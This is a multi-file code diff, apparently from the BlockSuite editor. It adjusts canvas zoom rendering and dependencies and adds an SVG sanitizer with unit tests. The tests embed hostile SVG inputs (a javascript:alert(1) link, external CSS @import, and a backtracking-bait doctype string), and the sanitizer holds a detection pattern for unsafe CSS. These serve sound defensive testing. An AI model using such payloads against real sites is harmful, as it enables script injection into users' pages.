@@ -5,7 +7,9 @@ export default defineConfig({
target: 'es2018',
},
test: {
globalSetup: '../../../scripts/vitest-global.js',
globalSetup: fileURLToPath(
new URL('../../../../scripts/vitest-global.js', import.meta.url)
),
include: ['src/__tests__/**/*.unit.spec.ts'],
testTimeout: 1000,
coverage: {
@@ -10,6 +10,7 @@
"author": "toeverything",
"license": "MIT",
"dependencies": {
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/std": "workspace:*",
"@blocksuite/store": "workspace:*",
@@ -1,5 +1,10 @@
import {
getAffinePlaceholderFillColor,
getAffinePlaceholderStrokeColor,
inferColorSchemeFromThemeMode,
} from '@blocksuite/affine-shared/theme';
import type { EditorHost, GfxBlockComponent } from '@blocksuite/std';
import { type Viewport } from '@blocksuite/std/gfx';
import { getEffectiveDpr, type Viewport } from '@blocksuite/std/gfx';
import type { BlockModel } from '@blocksuite/store';
import { BlockLayoutHandlersIdentifier } from './layout/block-layout-provider';
@@ -10,9 +15,13 @@ import type {
ViewportLayoutTree,
} from './types';
export function syncCanvasSize(canvas: HTMLCanvasElement, host: HTMLElement) {
export function syncCanvasSize(
canvas: HTMLCanvasElement,
host: HTMLElement,
zoom = 1
) {
const hostRect = host.getBoundingClientRect();
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(zoom);
canvas.style.position = 'absolute';
canvas.style.left = '0px';
canvas.style.top = '0px';
@@ -186,21 +195,21 @@ export function paintPlaceholder(
const ctx = canvas.getContext('2d');
if (!ctx || !layout) return;
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(viewport.zoom);
const { overallRect } = layout;
const layoutViewCoord = viewport.toViewCoord(overallRect.x, overallRect.y);
const offsetX = layoutViewCoord[0];
const offsetY = layoutViewCoord[1];
const colors = [
'rgba(200, 200, 200, 0.7)',
'rgba(180, 180, 180, 0.7)',
'rgba(160, 160, 160, 0.7)',
];
const colorScheme = inferColorSchemeFromThemeMode(
document.documentElement.dataset.theme
);
const fillColor = getAffinePlaceholderFillColor(colorScheme);
const strokeColor = getAffinePlaceholderStrokeColor(colorScheme);
const paintNode = (node: BlockLayoutTreeNode, depth: number = 0) => {
const paintNode = (node: BlockLayoutTreeNode) => {
const { layout: nodeLayout } = node;
ctx.fillStyle = colors[depth % colors.length];
ctx.fillStyle = fillColor;
const rect = nodeLayout.rect;
const x = ((rect.x - overallRect.x) * viewport.zoom + offsetX) * dpr;
const y = ((rect.y - overallRect.y) * viewport.zoom + offsetY) * dpr;
@@ -209,12 +218,12 @@ export function paintPlaceholder(
ctx.fillRect(x, y, width, height);
if (width > 10 && height > 5) {
ctx.strokeStyle = 'rgba(150, 150, 150, 0.3)';
ctx.strokeStyle = strokeColor;
ctx.strokeRect(x, y, width, height);
}
if (node.children.length > 0) {
node.children.forEach(childNode => paintNode(childNode, depth + 1));
node.children.forEach(childNode => paintNode(childNode));
}
};
@@ -1,11 +1,14 @@
import type { Container } from '@blocksuite/global/di';
import { DisposableGroup } from '@blocksuite/global/disposable';
import { IS_IOS } from '@blocksuite/global/env';
import { ConfigExtensionFactory } from '@blocksuite/std';
import {
getEffectiveDpr,
type GfxController,
GfxExtension,
GfxExtensionIdentifier,
type GfxViewportElement,
viewportRuntimeConfig,
} from '@blocksuite/std/gfx';
import {
BehaviorSubject,
@@ -34,6 +37,26 @@ import type {
} from './types';
const debug = false; // Toggle for debug logs
const IOS_LOW_ZOOM_SURVIVAL_THRESHOLD = 0.5;
export function shouldPreferBitmapCacheDuringLowZoomGesture(params: {
isIOS: boolean;
zoom: number;
hasBitmap: boolean;
}) {
return (
params.isIOS &&
params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD &&
params.hasBitmap
);
}
export function shouldIdleTurboBlocksDuringZooming(params: {
isIOS: boolean;
zoom: number;
}) {
return !(params.isIOS && params.zoom <= IOS_LOW_ZOOM_SURVIVAL_THRESHOLD);
}
const defaultOptions = {
zoomThreshold: 1, // With high enough zoom, fallback to DOM rendering
@@ -147,7 +170,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
this.viewport.elementReady.pipe(take(1)).subscribe(element => {
this.viewportElement = element;
syncCanvasSize(this.canvas, this.std.host);
syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
this.state$.next('pending');
this.disposables.add(
@@ -156,6 +179,12 @@ export class ViewportTurboRendererExtension extends GfxExtension {
this.disposables.add(
this.viewport.viewportUpdated.subscribe(() => {
if (
this.viewport.SKIP_REFRESH_DURING_GESTURE &&
(this.viewport.panning$.value || this.viewport.zooming$.value)
) {
return;
}
this.refresh().catch(console.error);
})
);
@@ -166,7 +195,9 @@ export class ViewportTurboRendererExtension extends GfxExtension {
tap(isZooming => {
this.debugLog(`Zooming signal changed: ${isZooming}`);
if (isZooming) {
this.state$.next('zooming');
if (!this.viewport.SKIP_REFRESH_DURING_GESTURE) {
this.state$.next('zooming');
}
} else if (this.state$.value === 'zooming') {
this.clearOptimizedBlocks();
this.isRecentlyZoomed$.next(true);
@@ -183,6 +214,45 @@ export class ViewportTurboRendererExtension extends GfxExtension {
)
.subscribe()
);
// Post-gesture refresh for SKIP mode
if (this.viewport.SKIP_REFRESH_DURING_GESTURE) {
let pendingTimerId: ReturnType<typeof setTimeout> | null = null;
const cancelRefresh = () => {
if (pendingTimerId !== null) {
clearTimeout(pendingTimerId);
pendingTimerId = null;
}
};
const scheduleRefresh = () => {
cancelRefresh();
pendingTimerId = setTimeout(() => {
pendingTimerId = null;
if (
!this.viewport.panning$.value &&
!this.viewport.zooming$.value
) {
this.refresh().catch(console.error);
}
}, viewportRuntimeConfig.POST_GESTURE_REFRESH_DELAY);
};
this.disposables.add(
this.viewport.panning$.subscribe(panning => {
if (panning) cancelRefresh();
else if (!this.viewport.zooming$.value) scheduleRefresh();
})
);
this.disposables.add(
this.viewport.zooming$.subscribe(zooming => {
if (zooming) cancelRefresh();
else if (!this.viewport.panning$.value) scheduleRefresh();
})
);
this.disposables.add({ dispose: cancelRefresh });
}
});
// Handle selection and block updates
@@ -235,10 +305,22 @@ export class ViewportTurboRendererExtension extends GfxExtension {
nextState = 'pending';
this.clearOptimizedBlocks();
} else if (this.isZooming()) {
this.debugLog('Currently zooming, using placeholder rendering');
nextState = 'zooming';
this.paintPlaceholder();
this.updateOptimizedBlocks();
if (
shouldPreferBitmapCacheDuringLowZoomGesture({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
hasBitmap: !!this.bitmap,
})
) {
this.debugLog('Currently zooming, reusing cached bitmap');
this.clearOptimizedBlocks();
this.drawCachedBitmap();
} else {
this.debugLog('Currently zooming, using placeholder rendering');
this.paintPlaceholder();
this.updateOptimizedBlocks();
}
} else if (this.canUseBitmapCache()) {
this.debugLog('Using cached bitmap');
nextState = 'ready';
@@ -286,7 +368,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
}
const layout = this.layoutCache;
const dpr = window.devicePixelRatio;
const dpr = getEffectiveDpr(this.viewport.zoom);
const currentVersion = this.layoutVersion;
this.debugLog(`Requesting bitmap painting (version=${currentVersion})`);
@@ -368,12 +450,14 @@ export class ViewportTurboRendererExtension extends GfxExtension {
layout.overallRect.y
);
const dpr = getEffectiveDpr(this.viewport.zoom);
ctx.drawImage(
bitmap,
layoutViewCoord[0] * window.devicePixelRatio,
layoutViewCoord[1] * window.devicePixelRatio,
layout.overallRect.w * window.devicePixelRatio * this.viewport.zoom,
layout.overallRect.h * window.devicePixelRatio * this.viewport.zoom
layoutViewCoord[0] * dpr,
layoutViewCoord[1] * dpr,
layout.overallRect.w * dpr * this.viewport.zoom,
layout.overallRect.h * dpr * this.viewport.zoom
);
this.debugLog('Bitmap drawn to canvas');
@@ -389,6 +473,16 @@ export class ViewportTurboRendererExtension extends GfxExtension {
private updateOptimizedBlocks() {
if (!this.canOptimize()) return;
if (
!shouldIdleTurboBlocksDuringZooming({
isIOS: IS_IOS,
zoom: this.viewport.zoom,
})
) {
this.clearOptimizedBlocks();
return;
}
requestAnimationFrame(() => {
if (!this.viewportElement || !this.layoutCache) return;
const blockElements = this.viewportElement.getModelsInViewport();
@@ -416,7 +510,7 @@ export class ViewportTurboRendererExtension extends GfxExtension {
private handleResize() {
this.debugLog('Container resized, syncing canvas size');
syncCanvasSize(this.canvas, this.std.host);
syncCanvasSize(this.canvas, this.std.host, this.viewport.zoom);
this.invalidate();
this.refresh$.next();
}
@@ -7,6 +7,7 @@
},
"include": ["./src"],
"references": [
{ "path": "../../shared" },
{ "path": "../../../framework/global" },
{ "path": "../../../framework/std" },
{ "path": "../../../framework/store" }
@@ -25,9 +25,9 @@
"zod": "^3.25.76"
},
"devDependencies": {
"@vitest/browser-playwright": "^4.0.18",
"@vitest/browser-playwright": "^4.1.8",
"playwright": "=1.58.2",
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"exports": {
".": "./src/index.ts",
@@ -160,7 +160,6 @@ export class AffineLink extends WithDisposable(ShadowlessElement) {
const linkStyle = {
color: 'var(--affine-link-color)',
fill: 'var(--affine-link-color)',
'text-decoration': 'none',
cursor: 'pointer',
};
@@ -1,8 +1,4 @@
import {
type BlockStdScope,
TextSelection,
type UIEventHandler,
} from '@blocksuite/std';
import { type BlockStdScope, type UIEventHandler } from '@blocksuite/std';
import { textFormatConfigs } from '../command/index.js';
@@ -14,12 +10,9 @@ export const textFormatKeymap = (std: BlockStdScope) =>
return {
...acc,
[config.hotkey as string]: ctx => {
const { store: doc, selection } = std;
const { store: doc } = std;
if (doc.readonly) return;
const textSelection = selection.find(TextSelection);
if (!textSelection) return;
const allowed = config.textChecker?.(std.host) ?? true;
if (!allowed) return;
+3 -2
View File
@@ -23,7 +23,7 @@
"@types/lodash-es": "^4.17.12",
"@types/mdast": "^4.0.4",
"bytes": "^3.1.2",
"dompurify": "^3.3.0",
"dompurify": "^3.4.11",
"fractional-indexing": "^3.2.0",
"lit": "^3.2.0",
"lodash-es": "^4.17.23",
@@ -46,6 +46,7 @@
"remark-parse": "^11.0.0",
"remark-stringify": "^11.0.0",
"rxjs": "^7.8.2",
"tldts": "^7.0.19",
"ts-pattern": "^5.1.0",
"unified": "^11.0.5",
"unist-util-visit": "^5.0.0",
@@ -73,7 +74,7 @@
],
"devDependencies": {
"@types/pdfmake": "^0.2.12",
"vitest": "^4.0.18"
"vitest": "^4.1.8"
},
"version": "0.26.3"
}
@@ -0,0 +1,191 @@
/**
* @vitest-environment happy-dom
*/
import { describe, expect, test } from 'vitest';
import { sanitizeSvg } from '../../utils/svg.js';
type HappyDOMWindow = Window & {
happyDOM: {
setURL: (url: string) => void;
};
};
function setLocation(url: string) {
(window as unknown as HappyDOMWindow).happyDOM.setURL(url);
}
function svgDataUrl(svg: string) {
const bytes = new TextEncoder().encode(svg);
let binary = '';
bytes.forEach(byte => {
binary += String.fromCharCode(byte);
});
return `data:image/svg+xml;base64,${btoa(binary)}`;
}
function decodeSvgDataUrl(dataUrl: string) {
const base64 = dataUrl.split(',')[1];
return new TextDecoder().decode(
Uint8Array.from(atob(base64), char => char.charCodeAt(0))
);
}
describe('sanitizeSvg', () => {
test('wraps DOMPurify svg fragments back into an svg root', () => {
const sanitized = sanitizeSvg(
'<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100"><rect width="100" height="100"></rect></svg>'
);
expect(sanitized).toContain('<svg');
expect(sanitized).toContain('width="100"');
expect(sanitized).toContain('<rect');
});
test('accepts svg documents with xml and doctype prefixes', () => {
const sanitized = sanitizeSvg(`<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" width="100" height="100">
<rect width="100" height="100"></rect>
</svg>`);
expect(sanitized).toContain('<svg');
expect(sanitized).toContain('width="100"');
expect(sanitized).toContain('<rect');
expect(sanitized).not.toContain('<!DOCTYPE');
});
test('rejects non-svg roots', () => {
expect(sanitizeSvg('<div><svg></svg></div>')).toBe('');
});
test('rejects malformed doctype prefixes without regexp backtracking', () => {
const maliciousPrefix = '<!doctype' + '?><!doctype'.repeat(10_000);
expect(sanitizeSvg(`${maliciousPrefix}<div></div>`)).toBe('');
});
test('keeps internal glyph references and safe image data urls', () => {
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<defs><path id="glyph-a" d="M0 0h10v10z"></path></defs>
<use href="#glyph-a"></use>
<use xlink:href="#glyph-a"></use>
<a xlink:href="https://typst.app/docs/tutorial"><path d="M0 0h10v10z"></path></a>
<image href="data:image/png;base64,AAAA" width="10" height="10"></image>
</svg>
`);
expect(sanitized).toContain('href="#glyph-a"');
expect(sanitized).toContain('xlink:href="#glyph-a"');
expect(sanitized).toContain('xlink:href="https://typst.app/docs/tutorial"');
expect(sanitized).toContain('data:image/png;base64,AAAA');
});
test('removes external glyph references and unsafe css', () => {
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<style>@import "https://example.com/style.css"; .a { fill: #000; }</style>
<use href="https://example.com/glyph.svg#x"></use>
<use xlink:href="https://example.com/glyph.svg#x"></use>
<a xlink:href="javascript:alert(1)"><path d="M0 0h10v10z"></path></a>
<image href="https://example.com/image.png" width="10" height="10"></image>
<path style="fill: url(https://example.com/pattern.svg#x)" d="M0 0h10v10z"></path>
</svg>
`);
expect(sanitized).not.toContain('https://example.com');
expect(sanitized).not.toContain('javascript:');
expect(sanitized).not.toContain('@import');
expect(sanitized).not.toContain('url(');
});
test('removes links sharing the current registrable domain', () => {
setLocation('https://sub.example.co.uk/workspace');
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<a xlink:href="https://sub.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
<a href="https://other.example.co.uk/docs"><path d="M0 0h10v10z"></path></a>
<a xlink:href="https://example.com/docs"><path d="M0 0h10v10z"></path></a>
</svg>
`);
expect(sanitized).not.toContain('https://sub.example.co.uk/docs');
expect(sanitized).not.toContain('https://other.example.co.uk/docs');
expect(sanitized).toContain('https://example.com/docs');
});
test('keeps private suffix sibling domains separate', () => {
setLocation('https://foo.github.io/workspace');
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<a xlink:href="https://foo.github.io/docs"><path d="M0 0h10v10z"></path></a>
<a href="https://bar.github.io/docs"><path d="M0 0h10v10z"></path></a>
</svg>
`);
expect(sanitized).not.toContain('https://foo.github.io/docs');
expect(sanitized).toContain('https://bar.github.io/docs');
});
test('handles local hostnames by exact hostname', () => {
setLocation('http://localhost:3000/workspace');
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<a xlink:href="http://localhost:8080/docs"><path d="M0 0h10v10z"></path></a>
<a href="http://share.localhost/docs"><path d="M0 0h10v10z"></path></a>
<a href="http://127.0.0.1/docs"><path d="M0 0h10v10z"></path></a>
</svg>
`);
expect(sanitized).not.toContain('http://localhost:8080/docs');
expect(sanitized).toContain('http://share.localhost/docs');
expect(sanitized).toContain('http://127.0.0.1/docs');
});
test('recursively sanitizes svg images', () => {
const nestedSvg = svgDataUrl(
'<svg xmlns="http://www.w3.org/2000/svg"><defs><path id="glyph-a" d="M0 0h10v10z"></path></defs><use href="#glyph-a"></use><use href="https://example.com/glyph.svg#x"></use></svg>'
);
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<image href="${nestedSvg}" width="10" height="10"></image>
</svg>
`);
const sanitizedImageHref = sanitized.match(/href="([^"]+)"/)?.[1];
expect(sanitizedImageHref).toMatch(/^data:image\/svg\+xml;base64,/);
expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('<svg');
expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).toContain('#glyph-a');
expect(decodeSvgDataUrl(sanitizedImageHref ?? '')).not.toContain(
'https://example.com'
);
});
test('removes svg images nested deeper than two levels', () => {
const thirdLevelSvg = svgDataUrl(
'<svg xmlns="http://www.w3.org/2000/svg"><rect width="10" height="10"></rect></svg>'
);
const secondLevelSvg = svgDataUrl(
`<svg xmlns="http://www.w3.org/2000/svg"><image href="${thirdLevelSvg}"></image></svg>`
);
const firstLevelSvg = svgDataUrl(
`<svg xmlns="http://www.w3.org/2000/svg"><image href="${secondLevelSvg}"></image></svg>`
);
const sanitized = sanitizeSvg(`
<svg xmlns="http://www.w3.org/2000/svg">
<image href="${firstLevelSvg}"></image>
</svg>
`);
const firstLevelHref = sanitized.match(/href="([^"]+)"/)?.[1];
const firstLevelSanitizedSvg = decodeSvgDataUrl(firstLevelHref ?? '');
const secondLevelHref = firstLevelSanitizedSvg.match(/href="([^"]+)"/)?.[1];
const secondLevelSanitizedSvg = decodeSvgDataUrl(secondLevelHref ?? '');
expect(firstLevelSanitizedSvg).toContain('<image');
expect(secondLevelSanitizedSvg).not.toContain('<image');
});
});
@@ -20,7 +20,6 @@ import {
type ToSliceSnapshotPayload,
type Transformer,
} from '@blocksuite/store';
import DOMPurify from 'dompurify';
import pdfMake from 'pdfmake/build/pdfmake';
import type {
Content,
@@ -29,6 +28,7 @@ import type {
} from 'pdfmake/interfaces';
import { getNumberPrefix } from '../../utils';
import { sanitizeSvg } from '../../utils/svg.js';
import { resolveCssVariable } from './css-utils.js';
import { extractTextWithInline } from './delta-converter.js';
import {
@@ -746,9 +746,8 @@ export class PdfAdapter extends BaseAdapter<PdfAdapterFile> {
const trimmedText = text.trim();
if (trimmedText.startsWith('<svg')) {
const svgContent = DOMPurify.sanitize(trimmedText, {
USE_PROFILES: { svg: true },
});
const svgContent = sanitizeSvg(trimmedText);
if (!svgContent) throw new Error('Invalid SVG image asset');
const svgDimensions = extractSvgDimensions(svgContent);
const dimensions = calculateImageDimensions(
blockWidth,
@@ -129,32 +129,35 @@ export const getSelectedBlocksCommand: Command<
dirtyResult = dirtyResult.filter(ctx.filter);
}
const getModelPath = (el: BlockComponent) => {
const path: number[] = [];
let model = el.model;
while (model) {
const parent = ctx.std.store.getParent(model.id);
if (!parent) break;
path.unshift(parent.children.findIndex(child => child.id === model.id));
model = parent;
}
return path;
};
const compareByModelPath = (a: BlockComponent, b: BlockComponent) => {
if (a === b) return 0;
const aPath = getModelPath(a);
const bPath = getModelPath(b);
const length = Math.min(aPath.length, bPath.length);
for (let i = 0; i < length; i++) {
const diff = aPath[i] - bPath[i];
if (diff !== 0) return diff;
}
return aPath.length - bPath.length;
};
// remove duplicate elements
const result: BlockComponent[] = dirtyResult
.filter((el, index) => dirtyResult.indexOf(el) === index)
// sort by document position
.sort((a, b) => {
if (a === b) {
return 0;
}
const position = a.compareDocumentPosition(b);
if (
position & Node.DOCUMENT_POSITION_FOLLOWING ||
position & Node.DOCUMENT_POSITION_CONTAINED_BY
) {
return -1;
}
if (
position & Node.DOCUMENT_POSITION_PRECEDING ||
position & Node.DOCUMENT_POSITION_CONTAINS
) {
return 1;
}
return 0;
});
// sort by model tree position, which is the order used for paste/export
.sort(compareByModelPath);
if (result.length === 0) return;
@@ -58,8 +58,7 @@ export const getSelectedModelsCommand: Command<
])
.pipe(getSelectedBlocksCommand, { types, mode })
.pipe(ctx => {
const { selectedBlocks = [] } = ctx;
selectedModels.push(...selectedBlocks.map(el => el.model));
selectedModels.push(...ctx.selectedBlocks.map(el => el.model));
})
.run();
@@ -1 +1,2 @@
export * from './css-variables.js';
export * from './placeholder-style.js';
@@ -0,0 +1,19 @@
import { ColorScheme } from '@blocksuite/affine-model';
export function inferColorSchemeFromThemeMode(
themeMode?: string | null
): ColorScheme {
return themeMode === 'dark' ? ColorScheme.Dark : ColorScheme.Light;
}
export function getAffinePlaceholderFillColor(colorScheme: ColorScheme) {
return colorScheme === ColorScheme.Dark
? 'rgba(255, 255, 255, 0.08)'
: 'rgba(0, 0, 0, 0.04)';
}
export function getAffinePlaceholderStrokeColor(colorScheme: ColorScheme) {
return colorScheme === ColorScheme.Dark
? 'rgba(255, 255, 255, 0.04)'
: 'rgba(0, 0, 0, 0.02)';
}
@@ -23,6 +23,7 @@ export * from './reordering';
export * from './safe-html';
export * from './signal';
export * from './string';
export * from './svg';
export * from './title';
export * from './url';
export * from './virtual-padding';
+294
View File
@@ -0,0 +1,294 @@
import type { Config } from 'dompurify';
import DOMPurify from 'dompurify';
import { parse } from 'tldts';
type SanitizeSvgOptions = {
svg?: Config;
foreignObjectHtml?: Config;
};
const MAX_NESTED_SVG_IMAGE_DEPTH = 2;
const DEFAULT_SVG_SANITIZE_CONFIG: Config = {
USE_PROFILES: { svg: true },
ADD_TAGS: ['use'],
ADD_ATTR: ['href', 'xlink:href', 'class', 'style', 'id'],
};
const DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG: Config = {
USE_PROFILES: { html: true },
};
const SAFE_LINK_PROTOCOLS = new Set(['http:', 'https:', 'mailto:']);
const SVG_DATA_URL_PATTERN =
/^data:image\/svg\+xml(?:;charset=[^;,]+)?(?<base64>;base64)?,(?<data>[\s\S]*)$/i;
const SAFE_IMAGE_DATA_URL_PATTERN =
/^data:image\/(?:png|jpe?g|gif|webp|svg\+xml);base64,[a-z0-9+/=]+$/i;
const UNSAFE_CSS_PATTERN =
/(?:url\s*\(|@import|javascript\s*:|expression\s*\(|-moz-binding)/i;
const SVG_ROOT_ATTRIBUTES = [
'class',
'data-height',
'data-width',
'height',
'preserveAspectRatio',
'viewBox',
'width',
'xmlns',
'xmlns:h5',
'xmlns:xlink',
];
function getAttribute(element: Element, attribute: string) {
return (
element.getAttribute(attribute) ??
element.getAttribute(attribute.toLowerCase())
);
}
function getSvgSanitizeConfig(options?: SanitizeSvgOptions) {
return {
...DEFAULT_SVG_SANITIZE_CONFIG,
...options?.svg,
};
}
function getForeignObjectHtmlSanitizeConfig(options?: SanitizeSvgOptions) {
return {
...DEFAULT_FOREIGN_OBJECT_HTML_SANITIZE_CONFIG,
...options?.foreignObjectHtml,
};
}
function isXmlWhitespace(char: string) {
return (
char === ' ' ||
char === '\n' ||
char === '\r' ||
char === '\t' ||
char === '\f'
);
}
function skipXmlWhitespace(value: string, index: number) {
while (index < value.length && isXmlWhitespace(value[index])) {
index++;
}
return index;
}
function startsWithIgnoreCase(value: string, search: string, index: number) {
return value.slice(index, index + search.length).toLowerCase() === search;
}
function getSvgRootStartIndex(value: string) {
let index = skipXmlWhitespace(value, 0);
if (startsWithIgnoreCase(value, '<?xml', index)) {
const declarationEnd = value.indexOf('?>', index + 5);
if (declarationEnd === -1) return -1;
index = skipXmlWhitespace(value, declarationEnd + 2);
}
if (startsWithIgnoreCase(value, '<!doctype', index)) {
const doctypeEnd = value.indexOf('>', index + 9);
if (doctypeEnd === -1) return -1;
index = skipXmlWhitespace(value, doctypeEnd + 1);
}
if (!startsWithIgnoreCase(value, '<svg', index)) return -1;
const next = value[index + 4];
return next === '>' || (next !== undefined && isXmlWhitespace(next))
? index
: -1;
}
function hasSvgRoot(value: string) {
return getSvgRootStartIndex(value) !== -1;
}
function getOriginalSvgRoot(svg: string, parser: DOMParser) {
const root = parser.parseFromString(svg, 'image/svg+xml').documentElement;
if (root?.tagName.toLowerCase() === 'svg') {
return root;
}
if (!hasSvgRoot(svg)) {
return null;
}
return parser.parseFromString(svg, 'text/html').querySelector('svg');
}
function ensureSvgRoot(
originalRoot: Element | null,
sanitized: string,
parser: DOMParser
) {
if (hasSvgRoot(sanitized)) {
const sanitizedDoc = parser.parseFromString(sanitized, 'image/svg+xml');
const sanitizedRoot = sanitizedDoc.documentElement;
return sanitizedRoot?.tagName.toLowerCase() === 'svg'
? sanitizedRoot
: null;
}
const svgDoc = parser.parseFromString('<svg></svg>', 'image/svg+xml');
const svgRoot = svgDoc.documentElement;
SVG_ROOT_ATTRIBUTES.forEach(attribute => {
const value = originalRoot ? getAttribute(originalRoot, attribute) : null;
if (value) {
svgRoot.setAttribute(attribute, value);
}
});
svgRoot.innerHTML = sanitized;
return svgRoot;
}
function sanitizeForeignObjects(
root: ParentNode,
options?: SanitizeSvgOptions
) {
root.querySelectorAll('foreignObject, foreignobject').forEach(element => {
element.innerHTML = DOMPurify.sanitize(
element.innerHTML,
getForeignObjectHtmlSanitizeConfig(options)
);
});
}
function getSiteDomain(hostname: string) {
return (
parse(hostname, { allowPrivateDomains: true }).domain ??
hostname.toLowerCase()
);
}
function isSameSiteDomain(url: URL) {
if (typeof location === 'undefined') return false;
return getSiteDomain(url.hostname) === getSiteDomain(location.hostname);
}
function isSafeLinkUrl(value: string) {
try {
const url = new URL(value);
return SAFE_LINK_PROTOCOLS.has(url.protocol) && !isSameSiteDomain(url);
} catch {
return false;
}
}
function isSafeHref(element: Element, value: string) {
if (value.startsWith('#')) return true;
const tagName = element.tagName.toLowerCase();
if (tagName === 'use') return false;
if (tagName === 'image') return SAFE_IMAGE_DATA_URL_PATTERN.test(value);
if (tagName === 'a') return isSafeLinkUrl(value);
return false;
}
function decodeSvgDataUrl(value: string) {
const groups = value.match(SVG_DATA_URL_PATTERN)?.groups;
if (!groups) return null;
try {
if (groups.base64) {
return new TextDecoder().decode(
Uint8Array.from(atob(groups.data), char => char.charCodeAt(0))
);
}
return decodeURIComponent(groups.data);
} catch {
return null;
}
}
function encodeSvgDataUrl(svg: string) {
const binary = Array.from(new TextEncoder().encode(svg), byte =>
String.fromCharCode(byte)
).join('');
return `data:image/svg+xml;base64,${btoa(binary)}`;
}
function getHrefAttributes(element: Element) {
return Array.from(element.attributes).filter(
attribute => attribute.name === 'href' || attribute.name === 'xlink:href'
);
}
function tightenSvgTree(
root: ParentNode,
options: SanitizeSvgOptions | undefined,
depth: number
) {
root.querySelectorAll('*').forEach(element => {
getHrefAttributes(element).forEach(attribute => {
const href = attribute.value.trim();
const nestedSvg =
element.tagName.toLowerCase() === 'image'
? decodeSvgDataUrl(href)
: null;
if (nestedSvg !== null) {
if (depth < MAX_NESTED_SVG_IMAGE_DEPTH) {
const sanitized = sanitizeSvgWithDepth(nestedSvg, options, depth + 1);
if (sanitized) {
element.setAttribute(attribute.name, encodeSvgDataUrl(sanitized));
return;
}
}
element.remove();
} else if (!isSafeHref(element, href)) {
element.removeAttribute(attribute.name);
}
});
const style = element.getAttribute('style');
if (style && UNSAFE_CSS_PATTERN.test(style)) {
element.removeAttribute('style');
}
if (
element.tagName.toLowerCase() === 'style' &&
UNSAFE_CSS_PATTERN.test(element.textContent ?? '')
) {
element.remove();
}
});
}
export function sanitizeSvg(svg: string, options?: SanitizeSvgOptions): string {
return sanitizeSvgWithDepth(svg, options, 0);
}
function sanitizeSvgWithDepth(
svg: string,
options: SanitizeSvgOptions | undefined,
depth: number
): string {
const svgConfig = getSvgSanitizeConfig(options);
if (
typeof DOMParser === 'undefined' ||
typeof XMLSerializer === 'undefined'
) {
const sanitized = DOMPurify.sanitize(svg, svgConfig);
if (typeof sanitized !== 'string' || !hasSvgRoot(sanitized)) {
return '';
}
return sanitized.trim();
}
const parser = new DOMParser();
const originalRoot = getOriginalSvgRoot(svg, parser);
if (!originalRoot) return '';
const sanitized = DOMPurify.sanitize(svg, svgConfig);
if (typeof sanitized !== 'string') return '';
const sanitizedRoot = ensureSvgRoot(originalRoot, sanitized, parser);
if (!sanitizedRoot) return '';
sanitizeForeignObjects(sanitizedRoot, options);
tightenSvgTree(sanitizedRoot, options, depth);
return new XMLSerializer().serializeToString(sanitizedRoot).trim();
}
+5 -1
View File
@@ -1,3 +1,5 @@
import { fileURLToPath } from 'node:url';
import { defineConfig } from 'vitest/config';
export default defineConfig({
@@ -5,7 +7,9 @@ export default defineConfig({
target: 'es2018',
},
test: {
globalSetup: '../../../scripts/vitest-global.js',
globalSetup: fileURLToPath(
new URL('../../../scripts/vitest-global.js', import.meta.url)
),
include: ['src/__tests__/**/*.unit.spec.ts'],
testTimeout: 1000,
coverage: {
@@ -19,6 +19,7 @@
"@blocksuite/affine-components": "workspace:*",
"@blocksuite/affine-ext-loader": "workspace:*",
"@blocksuite/affine-model": "workspace:*",
"@blocksuite/affine-rich-text": "workspace:*",
"@blocksuite/affine-shared": "workspace:*",
"@blocksuite/global": "workspace:*",
"@blocksuite/icons": "^2.2.17",
@@ -0,0 +1,78 @@
import { PlusIcon } from '@blocksuite/icons/lit';
import { css, html, LitElement } from 'lit';
import { property } from 'lit/decorators.js';
import type { AFFINE_ADD_BLOCK_WIDGET } from '../consts.js';
export class AffineAddBlockWidget extends LitElement {
static override styles = css`
:host {
display: block;
pointer-events: none;
}
.affine-add-block-widget {
display: flex;
align-items: center;
justify-content: center;
width: 18px;
height: 18px;
margin-top: 8px;
cursor: pointer;
border-radius: 4px;
color: var(--affine-placeholder-color);
background: transparent;
border: none;
padding: 0;
transition:
color 0.2s ease,
background 0.2s ease;
pointer-events: auto;
user-select: none;
box-sizing: border-box;
}
.affine-add-block-widget:hover {
background: var(--affine-hover-color);
color: var(--affine-text-primary-color);
}
.affine-add-block-widget svg {
width: 12px;
height: 12px;
flex-shrink: 0;
}
`;
@property({ type: Boolean })
accessor visible = false;
private readonly _handleClick = (e: MouseEvent) => {
e.stopPropagation();
e.preventDefault();
this.dispatchEvent(
new CustomEvent('add-block', { bubbles: true, composed: true })
);
};
override render() {
if (!this.visible) return html``;
return html`
<button
class="affine-add-block-widget"
title="Click to add a block below"
aria-label="Add block below"
@click=${this._handleClick}
>
${PlusIcon({ width: '12', height: '12' })}
</button>
`;
}
}
declare global {
interface HTMLElementTagNameMap {
[AFFINE_ADD_BLOCK_WIDGET]: AffineAddBlockWidget;
}
}

Some files were not shown because too many files have changed in this diff Show More